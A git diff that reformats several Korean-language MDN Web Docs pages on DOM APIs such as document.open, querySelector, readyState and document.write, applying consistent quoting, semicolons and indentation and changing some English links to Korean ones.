index 9669ee9e9c8c07..3c6ccc01b5c706 100644
--- a/files/ko/web/api/document/location/index.md
+++ b/files/ko/web/api/document/location/index.md
@@ -16,8 +16,8 @@ If the current document is not in a browsing context, the returned value is `nul
 ## Syntax
 
 ```js
-locationObj = document.location
-document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org'
+locationObj = document.location;
+document.location = "http://www.mozilla.org"; // Equivalent to document.location.href = 'http://www.mozilla.org'
 ```
 
 ## Example
diff --git a/files/ko/web/api/document/open/index.md b/files/ko/web/api/document/open/index.md
index ee214ce2d1f87b..32f1b67cdae3c6 100644
--- a/files/ko/web/api/document/open/index.md
+++ b/files/ko/web/api/document/open/index.md
@@ -2,6 +2,7 @@
 title: Document.open()
 slug: Web/API/Document/open
 ---
+
 {{APIRef("DOM")}}
 
 **`Document.open()`** 메소드는 문서를 {{domxref("Document.write", "쓰기", "", "1")}} 위해 문서를 열 수 있도록 제공한다.
@@ -56,7 +57,7 @@ Starting with Gecko 1.9.2, `document.open()` uses the [principal](/ko/docs/Secur
 다음 예제는 Github 웹 사이트를 새 창으로 열게 되며, opener 개체를 `null`로 설정한다.
 
 ```js
-document.open('https://www.github.com','', 'noopener=true')
+document.open("https://www.github.com", "", "noopener=true");
 ```
 
 ## document.open()의 인자 2개
@@ -64,7 +65,7 @@ document.open('https://www.github.com','', 'noopener=true')
 브라우저에서는 2개의 인자를 가진 `document.open()` 또한 가지고 있으며, 아래와 같은 구조를 가진다.
 
 ```js
-document.open(type, replace)
+document.open(type, replace);
 ```
 
 Where `type` 인자는 문서를 작성할 MIME 형식을 정의하며(예: `text/html`), 현재 히스토리를 대체(예: `"replace"`) 하는 새 문서 작성을 시작할 수 있다.
diff --git a/files/ko/web/api/document/paste_event/index.md b/files/ko/web/api/document/paste_event/index.md
index d1b2f80b2ffcc2..9c8d3672739860 100644
--- a/files/ko/web/api/document/paste_event/index.md
+++ b/files/ko/web/api/document/paste_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Document: paste 이벤트'
+title: "Document: paste 이벤트"
 slug: Web/API/Document/paste_event
 ---
 
@@ -33,8 +33,8 @@ slug: Web/API/Document/paste_event
 ## 예제
 
 ```js
-document.addEventListener('paste', (event) => {
-    console.log('붙여넣기 동작 실행')
+document.addEventListener("paste", (event) => {
+  console.log("붙여넣기 동작 실행");
 });
 ```
 
diff --git a/files/ko/web/api/document/queryselector/index.md b/files/ko/web/api/document/queryselector/index.md
index 3958216eb9853a..9726e032c149fb 100644
--- a/files/ko/web/api/document/queryselector/index.md
+++ b/files/ko/web/api/document/queryselector/index.md
@@ -50,15 +50,15 @@ CSS 구문을 따르지 않는, 예컨대 콜론이나 공백을 포함한 선
 <div id="foo:bar"></div>
 
 <script>
-  console.log('#foo\bar')             // "#fooar" ('\b'는 백스페이스 컨트롤 문자)
-  document.querySelector('#foo\bar')  // 일치하는 요소 없음
+  console.log("#foo\bar"); // "#fooar" ('\b'는 백스페이스 컨트롤 문자)
+  document.querySelector("#foo\bar"); // 일치하는 요소 없음
 
-  console.log('#foo\\bar')            // "#foo\bar"
-  console.log('#foo\\\\bar')          // "#foo\\bar"
-  document.querySelector('#foo\\bar') // 첫 번째 <div>
+  console.log("#foo\\bar"); // "#foo\bar"
+  console.log("#foo\\\\bar"); // "#foo\\bar"
+  document.querySelector("#foo\\bar"); // 첫 번째 <div>
 
-  document.querySelector('#foo:bar')   // 일치하는 요소 없음
-  document.querySelector('#foo\\:bar') // 두 번째 <div>
+  document.querySelector("#foo:bar"); // 일치하는 요소 없음
+  document.querySelector("#foo\\:bar"); // 두 번째 <div>
 </script>
 ```
 
diff --git a/files/ko/web/api/document/queryselectorall/index.md b/files/ko/web/api/document/queryselectorall/index.md
index 92d41cbbe2422e..2daee94c450af6 100644
--- a/files/ko/web/api/document/queryselectorall/index.md
+++ b/files/ko/web/api/document/queryselectorall/index.md
@@ -78,7 +78,7 @@ var matches = container.querySelectorAll("li[data-active='1']");
 ```js
 var highlightedItems = userList.querySelectorAll(".highlighted");
 
-highlightedItems.forEach(function(userItem) {
+highlightedItems.forEach(function (userItem) {
   deleteUser(userItem);
 });
 ```
@@ -94,8 +94,7 @@ highlightedItems.forEach(function(userItem) {
 ```html
 <div class="outer">
   <div class="select">
-    <div class="inner">
-    </div>
+    <div class="inner"></div>
   </div>
 </div>
 ```
@@ -103,8 +102,8 @@ highlightedItems.forEach(function(userItem) {
 ### 자바스크립트
 
 ```js
-var select = document.querySelector('.select');
-var inner = select.querySelectorAll('.outer .inner');
+var select = document.querySelector(".select");
+var inner = select.querySelectorAll(".outer .inner");
 inner.length; // 1 입니다. 0 이 아닙니다!
 ```
 
@@ -113,8 +112,8 @@ inner.length; // 1 입니다. 0 이 아닙니다!
 {{cssxref(":scope")}} 가상 클래스는 예상된 동작을하도록 하지만, 베이스 엘리먼트의 자손에 일치하는 셀렉터로만 제한됩니다:
 
 ```js
-var select = document.querySelector('.select');
-var inner = select.querySelectorAll(':scope .outer .inner');
+var select = document.querySelector(".select");
+var inner = select.querySelectorAll(":scope .outer .inner");
 inner.length; // 0
 ```
 
diff --git a/files/ko/web/api/document/readystate/index.md b/files/ko/web/api/document/readystate/index.md
index 576e95ed3523a8..0a6bb5291b10c8 100644
--- a/files/ko/web/api/document/readystate/index.md
+++ b/files/ko/web/api/document/readystate/index.md
@@ -44,7 +44,9 @@ switch (document.readyState) {
     break;
   case "complete":
     // The page is fully loaded.
-    console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText);
+    console.log(
+      "The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText,
+    );
     break;
 }
 ```
@@ -54,10 +56,10 @@ switch (document.readyState) {
 ```js
 // Alternative to DOMContentLoaded event
 document.onreadystatechange = function () {
-  if (document.readyState === 'interactive') {
+  if (document.readyState === "interactive") {
     initApplication();
   }
-}
+};
 ```
 
 ### readystatechange as an alternative to load event
@@ -65,20 +67,19 @@ document.onreadystatechange = function () {
 ```js
 // Alternative to load event
 document.onreadystatechange = function () {
-  if (document.readyState === 'complete') {
+  if (document.readyState === "complete") {
     initApplication();
   }
-}
+};
 ```
 
 ### readystatechange as event listener to insert or modify the DOM before DOMContentLoaded
 
 ```js
-document.addEventListener('readystatechange', event => {
-  if (event.target.readyState === 'interactive') {
+document.addEventListener("readystatechange", (event) => {
+  if (event.target.readyState === "interactive") {
     initLoader();
-  }
-  else if (event.target.readyState === 'complete') {
+  } else if (event.target.readyState === "complete") {
     initApp();
   }
 });
diff --git a/files/ko/web/api/document/readystatechange_event/index.md b/files/ko/web/api/document/readystatechange_event/index.md
index 99dd7b090dc4e3..921ac029827ff1 100644
--- a/files/ko/web/api/document/readystatechange_event/index.md
+++ b/files/ko/web/api/document/readystatechange_event/index.md
@@ -1,16 +1,17 @@
 ---
-title: 'Document: readystatechange event'
+title: "Document: readystatechange event"
 slug: Web/API/Document/readystatechange_event
 ---
+
 {{APIRef}}
 
 **`readystatechange`** 이벤트는 현재 페이지의 {{domxref("Document.readyState", "readyState")}} 속성값이 변할 때 발생한다.
 
-| Bubbles                | No                           |
-| ---------------------- | ---------------------------- |
-| Cancelable             | No                           |
+| Bubbles                | No                   |
+| ---------------------- | -------------------- |
+| Cancelable             | No                   |
 | Interface              | {{domxref("Event")}} |
-| Event handler property | `onreadystatechange`         |
+| Event handler property | `onreadystatechange` |
 
 ## Examples
 
@@ -50,7 +51,8 @@ body {
   resize: none;
 }
 
-label, button {
+label,
+button {
   display: block;
 }
 
@@ -62,26 +64,26 @@ label, button {
 #### JS
 
 ```js
-const log = document.querySelector('.event-log-contents');
-const reload = document.querySelector('#reload');
+const log = document.querySelector(".event-log-contents");
+const reload = document.querySelector("#reload");
 
-reload.addEventListener('click', () => {
-  log.textContent ='';
+reload.addEventListener("click", () => {
+  log.textContent = "";
   window.setTimeout(() => {
-      window.location.reload(true);
+    window.location.reload(true);
   }, 200);
 });
 
-window.addEventListener('load', (event) => {
-    log.textContent = log.textContent + 'load\n';
+window.addEventListener("load", (event) => {
+  log.textContent = log.textContent + "load\n";
 });
 
-document.addEventListener('readystatechange', (event) => {
-    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+document.addEventListener("readystatechange", (event) => {
+  log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
 });
 
-document.addEventListener('DOMContentLoaded', (event) => {
-    log.textContent = log.textContent + `DOMContentLoaded\n`;
+document.addEventListener("DOMContentLoaded", (event) => {
+  log.textContent = log.textContent + `DOMContentLoaded\n`;
 });
 ```
 
@@ -99,4 +101,4 @@ document.addEventListener('DOMContentLoaded', (event) => {
 
 ## See also
 
-- Related events: [`DOMContentLoaded`](/en-US/docs/Web/API/Document/DOMContentLoaded_event), [`load`](/en-US/docs/Web/API/Window/load_event), [`beforeunload`](/en-US/docs/Web/API/Window/beforeunload_event), [`unload`](/en-US/docs/Web/API/Window/unload_event)
+- Related events: [`DOMContentLoaded`](/ko/docs/Web/API/Document/DOMContentLoaded_event), [`load`](/ko/docs/Web/API/Window/load_event), [`beforeunload`](/ko/docs/Web/API/Window/beforeunload_event), [`unload`](/ko/docs/Web/API/Window/unload_event)
diff --git a/files/ko/web/api/document/scroll_event/index.md b/files/ko/web/api/document/scroll_event/index.md
index 42429ddafade6b..985fafa3e240f0 100644
--- a/files/ko/web/api/document/scroll_event/index.md
+++ b/files/ko/web/api/document/scroll_event/index.md
@@ -7,23 +7,23 @@ document view 나 element가 스크롤 될 때, **`scroll`** 이벤트가 발생
 
 ## 개요
 
-| 인터페이스   | {{domxref("UIEvent")}}                                                |
-| ------------ | --------------------------------------------------------------------------- |
-| 버블         | element에는 없지만, document에서 실행될 때 버블링이 발생합니다.             |
-| 취소가능여부 | 불가                                                                        |
-| 타겟         | DefaultView, {{domxref("Document")}}, {{domxref("Element")}} |
-| 기본 액션    | 없음                                                                        |
+| 인터페이스   | {{domxref("UIEvent")}}                                          |
+| ------------ | --------------------------------------------------------------- |
+| 버블         | element에는 없지만, document에서 실행될 때 버블링이 발생합니다. |
+| 취소가능여부 | 불가                                                            |
+| 타겟         | DefaultView, {{domxref("Document")}}, {{domxref("Element")}}    |
+| 기본 액션    | 없음                                                            |
 
 ## 속성
 
-| 속성                                  | 타입                                 | 설명                                                                   |
-| ------------------------------------- | ------------------------------------ | ---------------------------------------------------------------------- |
-| `target` {{readonlyInline}}     | {{domxref("EventTarget")}} | 이벤트 대상 (DOM 트리의 최상위 타겟)                                   |
-| `type` {{readonlyInline}}       | {{domxref("DOMString")}}     | 이벤트의 타입                                                          |
-| `bubbles` {{readonlyInline}}    | {{domxref("Boolean")}}         | 이벤트가 버블이 되는지                                                 |
-| `cancelable` {{readonlyInline}} | {{domxref("Boolean")}}         | 이벤트 취소가 가능한지                                                 |
+| 속성                            | 타입                       | 설명                                                      |
+| ------------------------------- | -------------------------- | --------------------------------------------------------- |
+| `target` {{readonlyInline}}     | {{domxref("EventTarget")}} | 이벤트 대상 (DOM 트리의 최상위 타겟)                      |
+| `type` {{readonlyInline}}       | {{domxref("DOMString")}}   | 이벤트의 타입                                             |
+| `bubbles` {{readonlyInline}}    | {{domxref("Boolean")}}     | 이벤트가 버블이 되는지                                    |
+| `cancelable` {{readonlyInline}} | {{domxref("Boolean")}}     | 이벤트 취소가 가능한지                                    |
 | `view` {{readonlyInline}}       | {{domxref("WindowProxy")}} | {{domxref("Document.defaultView")}} (document의 `window`) |
-| `detail` {{readonlyInline}}     | `long` (`float`)                     | `0`.                                                                   |
+| `detail` {{readonlyInline}}     | `long` (`float`)           | `0`.                                                      |
 
 ## 예제
 
@@ -44,11 +44,11 @@ function doSomething(scroll_pos) {
   // scroll 위치에 대한 작업을 하세요
 }
 
-window.addEventListener('scroll', function(e) {
+window.addEventListener("scroll", function (e) {
   last_known_scroll_position = window.scrollY;
 
   if (!ticking) {
-    window.requestAnimationFrame(function() {
+    window.requestAnimationFrame(function () {
       doSomething(last_known_scroll_position);
       ticking = false;
     });
@@ -68,6 +68,6 @@ window.addEventListener('scroll', function(e) {
 
 ## 같이 보기
 
-- [Document: `scrollend` event](/en-US/docs/Web/API/Document/scrollend_event)
-- [Element: `scroll` event](/en-US/docs/Web/API/Element/scroll_event)
-- [Element: `scrollend` event](/en-US/docs/Web/API/Element/scrollend_event)
+- [Document: `scrollend` event](/ko/docs/Web/API/Document/scrollend_event)
+- [Element: `scroll` event](/ko/docs/Web/API/Element/scroll_event)
+- [Element: `scrollend` event](/ko/docs/Web/API/Element/scrollend_event)
diff --git a/files/ko/web/api/document/stylesheets/index.md b/files/ko/web/api/document/stylesheets/index.md
index 06273c4a165f46..7f9aa697491c82 100644
--- a/files/ko/web/api/document/stylesheets/index.md
+++ b/files/ko/web/api/document/stylesheets/index.md
@@ -3,6 +3,7 @@ title: DocumentOrShadowRoot.styleSheets
 slug: Web/API/Document/styleSheets
 original_slug: Web/API/DocumentOrShadowRoot/styleSheets
 ---
+
 {{SeeCompatTable}}{{APIRef("Shadow DOM")}}
 
 {{domxref("DocumentOrShadowRoot")}} 인터페이스의 **`styleSheets`** 읽기 전용 속성은 문서에서 명시적으로 링크했거나, 안에 포함된 스타일시트에 대한 {{domxref('CSSStyleSheet')}} 객체의 {{domxref('StyleSheetList')}}를 반환합니다.
@@ -11,9 +12,9 @@ original_slug: Web/API/DocumentOrShadowRoot/styleSheets
 
 ```js
 function getStyleSheet(unique_title) {
-  for(var i=0; i<document.styleSheets.length; i++) {
+  for (var i = 0; i < document.styleSheets.length; i++) {
     var sheet = document.styleSheets[i];
-    if(sheet.title == unique_title) {
+    if (sheet.title == unique_title) {
       return sheet;
     }
   }
diff --git a/files/ko/web/api/document/stylesheetsets/index.md b/files/ko/web/api/document/stylesheetsets/index.md
index 988a7f2bdd250d..5905805bfcecea 100644
--- a/files/ko/web/api/document/stylesheetsets/index.md
+++ b/files/ko/web/api/document/stylesheetsets/index.md
@@ -20,13 +20,13 @@ var sets = document.styleSheetSets;
 ID가 "sheetList"인 {{HTMLElement("ul")}} (list) 요소가 주어지면, 사용 가능한 모든 스타일 시트 세트의 이름으로 아래와 같은 코드로 채울 수 있습니다.
 
 ```js
-let list = document.getElementById('sheetList');
+let list = document.getElementById("sheetList");
 let sheets = document.styleSheetSets;
 
-list.innerHTML = '';
+list.innerHTML = "";
 
 for (let i = 0; i < sheets.length; i++) {
-  let item = document.createElement('li');
+  let item = document.createElement("li");
 
   item.innerHTML = sheets[i];
   list.appendChild(item);
diff --git a/files/ko/web/api/document/url/index.md b/files/ko/web/api/document/url/index.md
index f44c10c1d2ae1e..b42100a0b26e70 100644
--- a/files/ko/web/api/document/url/index.md
+++ b/files/ko/web/api/document/url/index.md
@@ -19,7 +19,7 @@ document.getElementById("url").textContent = document.URL;
 
 ```html
 <p id="urlText">
-  URL:<br/>
+  URL:<br />
   <span id="url">URL이 여기 보입니다</span>
 </p>
 ```
diff --git a/files/ko/web/api/document/write/index.md b/files/ko/web/api/document/write/index.md
index 233b51cebed9bd..ebbde0c4928702 100644
--- a/files/ko/web/api/document/write/index.md
+++ b/files/ko/web/api/document/write/index.md
@@ -24,24 +24,22 @@ document.write(markup);
 
 ```html
 <html>
-
-<head>
-  <title>write example</title>
-
-  <script>
-    function newContent() {
-      alert("load new content");
-      document.open();
-      document.write("<h1>Out with the old - in with the new!</h1>");
-      document.close();
-    }
-  </script>
-</head>
-
-<body onload="newContent();">
-  <p>Some original document content.</p>
-</body>
-
+  <head>
+    <title>write example</title>
+
+    <script>
+      function newContent() {
+        alert("load new content");
+        document.open();
+        document.write("<h1>Out with the old - in with the new!</h1>");
+        document.close();
+      }
+    </script>
+  </head>
+
+  <body onload="newContent();">
+    <p>Some original document content.</p>
+  </body>
 </html>
 ```
 
@@ -53,7 +51,7 @@ If the `document.write()` call is embedded within an inlined HTML `<script>` tag
 
 ```html
 <script>
-  document.write("<h1>Main title</h1>")
+  document.write("<h1>Main title</h1>");
 </script>
 ```
 
diff --git a/files/ko/web/api/document_object_model/examples/index.md b/files/ko/web/api/document_object_model/examples/index.md
index a2e93067f08029..fc6bcbe9b38b47 100644
--- a/files/ko/web/api/document_object_model/examples/index.md
+++ b/files/ko/web/api/document_object_model/examples/index.md
@@ -12,55 +12,62 @@ slug: Web/API/Document_Object_Model/Examples
 아래의 예제는 다양한 면적의 이미지를 통해 `height` 와 `width` 속성을 사용하는 방법을 보여줍니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html lang="ko">
   <head>
     <title>width/height 예제</title>
-      <script>
-        function init() {
-          var arrImages = new Array(3);
-
-          arrImages[0] = document.getElementById("image1");
-          arrImages[1] = document.getElementById("image2");
-          arrImages[2] = document.getElementById("image3");
-
-          var objOutput = document.getElementById("output");
-          var strHtml = "<ul>";
-
-          for (var i = 0; i < arrImages.length; i++) {
-            strHtml += "<li>image" + (i+1) +
-              ": height=" + arrImages[i].height +
-              ", width=" + arrImages[i].width +
-              ", style.height=" + arrImages[i].style.height +
-              ", style.width=" + arrImages[i].style.width +
-              "<\/li>";
-          }
-          strHtml += "<\/ul>";
-          objOutput.innerHTML = strHtml;
+    <script>
+      function init() {
+        var arrImages = new Array(3);
+
+        arrImages[0] = document.getElementById("image1");
+        arrImages[1] = document.getElementById("image2");
+        arrImages[2] = document.getElementById("image3");
+
+        var objOutput = document.getElementById("output");
+        var strHtml = "<ul>";
+
+        for (var i = 0; i < arrImages.length; i++) {
+          strHtml +=
+            "<li>image" +
+            (i + 1) +
+            ": height=" +
+            arrImages[i].height +
+            ", width=" +
+            arrImages[i].width +
+            ", style.height=" +
+            arrImages[i].style.height +
+            ", style.width=" +
+            arrImages[i].style.width +
+            "<\/li>";
         }
-      </script>
-    </head>
+        strHtml += "<\/ul>";
+        objOutput.innerHTML = strHtml;
+      }
+    </script>
+  </head>
   <body onload="init();">
     <p>
       이미지 1: 높이, 너비, 스타일 없음
-      <img 
-        id="image1" 
-        src="http://www.mozilla.org/images/mozilla-banner.gif" />
+      <img id="image1" src="http://www.mozilla.org/images/mozilla-banner.gif" />
     </p>
 
     <p>
       이미지 2: 높이="50", 너비="500", 스타일 없음
-      <img id="image2"
-          src="http://www.mozilla.org/images/mozilla-banner.gif"
-          height="50" width="500" />
+      <img
+        id="image2"
+        src="http://www.mozilla.org/images/mozilla-banner.gif"
+        height="50"
+        width="500" />
     </p>
     <p>
       이미지 3: 높이, 너비 없음, 스타일="height: 50px; width: 500px;"
-      <img id="image3"
-          src="http://www.mozilla.org/images/mozilla-banner.gif"
-          style="height: 50px; width: 500px;" />
+      <img
+        id="image3"
+        src="http://www.mozilla.org/images/mozilla-banner.gif"
+        style="height: 50px; width: 500px;" />
     </p>
-    <div id="output"> </div>
+    <div id="output"></div>
   </body>
 </html>
 ```
@@ -68,36 +75,36 @@ slug: Web/API/Document_Object_Model/Examples
 ## 예제 2: 이미지 속성
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html lang="ko">
   <head>
     <title>이미지 border 수정</title>
 
     <script>
-    function setBorderWidth(width) {
-      document.getElementById("img1").style.borderWidth = width + "px";
-    }
+      function setBorderWidth(width) {
+        document.getElementById("img1").style.borderWidth = width + "px";
+      }
     </script>
   </head>
 
   <body>
     <p>
-      <img 
+      <img
         id="img1"
         src="image1.gif"
         style="border: 5px solid green;"
-        width="100" 
-        height="100" 
+        width="100"
+        height="100"
         alt="border 테스트" />
     </p>
 
     <form name="FormName">
-      <input 
-        type="button" 
-        value="border를 20px로 만들기" 
+      <input
+        type="button"
+        value="border를 20px로 만들기"
         onclick="setBorderWidth(20);" />
-      <input 
-        type="button" 
+      <input
+        type="button"
         value="border를 5px로 만들기"
         onclick="setBorderWidth(5);" />
     </form>
@@ -110,7 +117,7 @@ slug: Web/API/Document_Object_Model/Examples
 아래의 간단한 예제에서 HTML 요소의 일부 기본 스타일 속성들은 요소의 스타일 객체와 DOM에서 검색하고 설정할 수 있는 해당 객체의 CSS 스타일 속성을 사용하여 접근합니다. 이 경우 개별 스타일을 직접 조작합니다. 다음 예제(예제 4)에서는 stylesheet와 해당 규칙을 사용해 전체 문서의 스타일을 변경할 수 있습니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html lang="ko">
   <head>
     <title>색상 및 글꼴 크기 변경</title>
@@ -119,8 +126,8 @@ slug: Web/API/Document_Object_Model/Examples
       function changeText() {
         const p = document.getElementById("pid");
 
-        p.style.color = "blue"
-        p.style.fontSize = "18pt"
+        p.style.color = "blue";
+        p.style.fontSize = "18pt";
       }
     </script>
   </head>
@@ -143,9 +150,9 @@ slug: Web/API/Document_Object_Model/Examples
 ```js
 var ss = document.styleSheets;
 
-for(var i = 0; i < ss.length; i++) {
-  for(var j = 0; j < ss[i].cssRules.length; j++) {
-    dump( ss[i].cssRules[j].selectorText + "\n" );
+for (var i = 0; i < ss.length; i++) {
+  for (var j = 0; j < ss[i].cssRules.length; j++) {
+    dump(ss[i].cssRules[j].selectorText + "\n");
   }
 }
 ```
@@ -153,16 +160,16 @@ for(var i = 0; i < ss.length; i++) {
 다음과 같이 세가지 규칙이 정의된 stylesheet가 있는 경우, 스크립트의 결과물은 다음과 같습니다
 
 ```css
-body { 
-  background-color: darkblue; 
+body {
+  background-color: darkblue;
 }
-p { 
-  font-face: Arial; 
-  font-size: 10pt; 
-  margin-left: .125in; 
+p {
+  font-face: Arial;
+  font-size: 10pt;
+  margin-left: 0.125in;
 }
-#lumpy { 
-  display: none; 
+#lumpy {
+  display: none;
 }
 ```
 
@@ -179,35 +186,38 @@ P
 stopEvent는 이벤트 객체 메서드인 {{domxref("event.stopPropagation")}}도 호출합니다. 이 메서드는 이벤트가 DOM으로 더 이상 버블링(bubbling)되지 않도록 합니다. 테이블이 클릭될 때 메시지를 표시해야 하는 {{domxref("Element.click_event","onclick")}} 이벤트 처리기가 있다는 것에 주의하세요. 하지만 stopEvent 메서드가 전파를 중지했기 때문에 테이블의 데이터가 업데이트된 후 이벤트 단계는 효과적으로 종료되고, 이를 확인하는 alert 창이 표시됩니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html lang="ko">
   <head>
     <title>이벤트 전파</title>
 
     <style>
-      #t-daddy { border: 1px solid red }
-      #c1 { background-color: pink; }
+      #t-daddy {
+        border: 1px solid red;
+      }
+      #c1 {
+        background-color: pink;
+      }
     </style>
 
     <script>
-    function stopEvent(event) {
-      c2 = document.getElementById("c2");
-      c2.innerHTML = "안녕하세요";
-
-      // 이벤트가 t-daddy로 전파되지 않도록 합니다.
-      ev.stopPropagation();
-      alert("이벤트 전파가 중지되었습니다.");
-    }
-
-    function load() {
-      elem = document.getElementById("tbl1");
-      elem.addEventListener("click", stopEvent, false);
-    }
+      function stopEvent(event) {
+        c2 = document.getElementById("c2");
+        c2.innerHTML = "안녕하세요";
+
+        // 이벤트가 t-daddy로 전파되지 않도록 합니다.
+        ev.stopPropagation();
+        alert("이벤트 전파가 중지되었습니다.");
+      }
+
+      function load() {
+        elem = document.getElementById("tbl1");
+        elem.addEventListener("click", stopEvent, false);
+      }
     </script>
   </head>
 
   <body onload="load();">
-
     <table id="t-daddy" onclick="alert('안녕하세요.');">
       <tr id="tbl1">
         <td id="c1">1</td>
@@ -227,7 +237,7 @@ stopEvent는 이벤트 객체 메서드인 {{domxref("event.stopPropagation")}}
 `getComputedStyle()`은 {{domxref("CSSStyleDeclaration")}} 객체를 반환합니다. 다음 예제에서 알 수 있듯이 이 객체의 개별 스타일 속성은 {{domxref("CSSStyleDeclaration.getPropertyValue()", "getPropertyValue()")}} 메서드를 사용하여 참조할 수 있습니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html lang="ko">
   <head>
     <title>getComputedStyle 예제</title>
@@ -274,8 +284,10 @@ stopEvent는 이벤트 객체 메서드인 {{domxref("event.stopPropagation")}}
     <form action="">
       <p>
         <button type="button" onclick="cStyles();">getComputedStyle</button>
-        height<input id="t1" type="text" value="1" />
-        max-width<input id="t2" type="text" value="2" />
+        height<input id="t1" type="text" value="1" /> max-width<input
+          id="t2"
+          type="text"
+          value="2" />
         bg-color<input id="t3" type="text" value="3" />
       </p>
     </form>
@@ -285,26 +297,36 @@ stopEvent는 이벤트 객체 메서드인 {{domxref("event.stopPropagation")}}
 
 ## Example 7: 이벤트 객체 속성 표시
 
-이번 예제에서는 DOM 메서드를 이용해 {{domxref("window.onload")}} {{domxref("event")}} 객체의 모든 속성과 값들을 테이블에 표시하는 방법과, 객체의 속성을 반복하여 값을 가져오는 [`for...in`](/en-US/docs/Web/JavaScript/Reference/Statements/for...in) 루프의 유용한 사용법을 보여줍니다.
+이번 예제에서는 DOM 메서드를 이용해 {{domxref("window.onload")}} {{domxref("event")}} 객체의 모든 속성과 값들을 테이블에 표시하는 방법과, 객체의 속성을 반복하여 값을 가져오는 [`for...in`](/ko/docs/Web/JavaScript/Reference/Statements/for...in) 루프의 유용한 사용법을 보여줍니다.
 
 이벤트 객체들의 특성은 브라우저 마다 상당히 다르며, 표준 속성은 [WHATWG DOM Standard](https://dom.spec.whatwg.org)에 있습니다. 하지만 많은 브라우저에서 이 기능을 크게 확장하고 있습니다.
 
 아래의 코드를 빈 텍스트 파일에 넣고 여러 브라우저에서 로드하면 속성의 수와 이름들이 다르다는 사실에 놀랄 것입니다. 페이지에 일부 요소를 추가하고 다른 이벤트 처리기에서 이 함수를 호출할 수도 있습니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html lang="ko">
   <head>
-    <meta charset="utf-8"/>
+    <meta charset="utf-8" />
     <title>이벤트 속성 표시</title>
 
     <style>
-      table { border-collapse: collapse; }
-      thead { font-weight: bold; }
-      td { padding: 2px 10px 2px 10px; }
+      table {
+        border-collapse: collapse;
+      }
+      thead {
+        font-weight: bold;
+      }
+      td {
+        padding: 2px 10px 2px 10px;
+      }
 
-      .odd { background-color: #efdfef; }
-      .even { background-color: #ffffff; }
+      .odd {
+        background-color: #efdfef;
+      }
+      .even {
+        background-color: #ffffff;
+      }
     </style>
 
     <script>
@@ -315,24 +337,24 @@ stopEvent는 이벤트 객체 메서드인 {{domxref("event.stopPropagation")}}
         }
 
         const event = e || window.event;
-        document.getElementById('eventType').innerHTML = event.type;
+        document.getElementById("eventType").innerHTML = event.type;
 
-        const table = document.createElement('table');
+        const table = document.createElement("table");
         const thead = table.createTHead();
         let row = thead.insertRow(-1);
-        const labelList = ['#', 'Property', 'Value'];
+        const labelList = ["#", "Property", "Value"];
         const len = labelList.length;
 
         for (let i = 0; i < len; i++) {
           addCell(row, labelList[i]);
         }
 
-        var tbody = document.createElement('tbody');
+        var tbody = document.createElement("tbody");
         table.appendChild(tbody);
 
         for (var e in event) {
           row = tbody.insertRow(-1);
-          row.className = (row.rowIndex % 2)? 'odd':'even';
+          row.className = row.rowIndex % 2 ? "odd" : "even";
           addCell(row, row.rowIndex);
           addCell(row, e);
           addCell(row, event[e]);
@@ -347,7 +369,7 @@ stopEvent는 이벤트 객체 메서드인 {{domxref("event.stopPropagation")}}
   </head>
 
   <body>
-    <h1> DOM의 특성 <span id="eventType"></span> 이벤트 객체 </h1>
+    <h1>DOM의 특성 <span id="eventType"></span> 이벤트 객체</h1>
   </body>
 </html>
 ```
@@ -360,21 +382,21 @@ DOM {{domxref("HTMLTableElement")}} 인터페이스는 편리하게 테이블을
 
 ```html
 <table id="table0">
- <tr>
-  <td>Row 0 Cell 0</td>
-  <td>Row 0 Cell 1</td>
- </tr>
+  <tr>
+    <td>Row 0 Cell 0</td>
+    <td>Row 0 Cell 1</td>
+  </tr>
 </table>
 
 <script>
-  const table = document.getElementById('table0');
+  const table = document.getElementById("table0");
   const row = table.insertRow(-1);
   let cell;
   let text;
 
   for (var i = 0; i < 2; i++) {
     cell = row.insertCell(-1);
-    text = 'Row ' + row.rowIndex + ' Cell ' + i;
+    text = "Row " + row.rowIndex + " Cell " + i;
     cell.appendChild(document.createTextNode(text));
   }
 </script>
diff --git a/files/ko/web/api/document_object_model/index.md b/files/ko/web/api/document_object_model/index.md
index aa19f10c0e460c..58320ec8fd1f69 100644
--- a/files/ko/web/api/document_object_model/index.md
+++ b/files/ko/web/api/document_object_model/index.md
@@ -2,6 +2,7 @@
 title: 문서 객체 모델(DOM)
 slug: Web/API/Document_Object_Model
 ---
+
 {{DefaultAPISidebar("DOM")}}
 
 **문서 객체 모델**(**DOM**)은 메모리에 웹 페이지 문서 구조를 표현함으로써 스크립트 및 프로그래밍 언어와 페이지를 연결합니다. 이때 스크립트는 주로 JavaScript를 의미하나 HTML, SVG, XML 객체를 문서로 모델링 하는 것은 JavaScript 언어의 일부가 아닙니다.
diff --git a/files/ko/web/api/document_object_model/introduction/index.md b/files/ko/web/api/document_object_model/introduction/index.md
index 682360a459357b..e0e893f436e060 100644
--- a/files/ko/web/api/document_object_model/introduction/index.md
+++ b/files/ko/web/api/document_object_model/introduction/index.md
@@ -3,6 +3,7 @@ title: DOM 소개
 slug: Web/API/Document_Object_Model/Introduction
 original_slug: Web/API/Document_Object_Model/소개
 ---
+
 이 문서는 {{glossary("DOM")}}에 대한 개념을 간략하게 소개하는 문서이다: DOM 이 무엇이며, 그것이 어떻게 {{glossary("HTML")}}, {{glossary("XML")}} 문서들을 위한 구조를 제공하는지, 어떻게 DOM 에 접근하는지, API 가 어떻게 사용되는지에 대한 참조 정보와 예제들을 제공한다.
 
 ## DOM 이란?
@@ -51,7 +52,7 @@ DOM 을 사용하기 위해 특별히 해야할 일은 없다. 각각의 브라
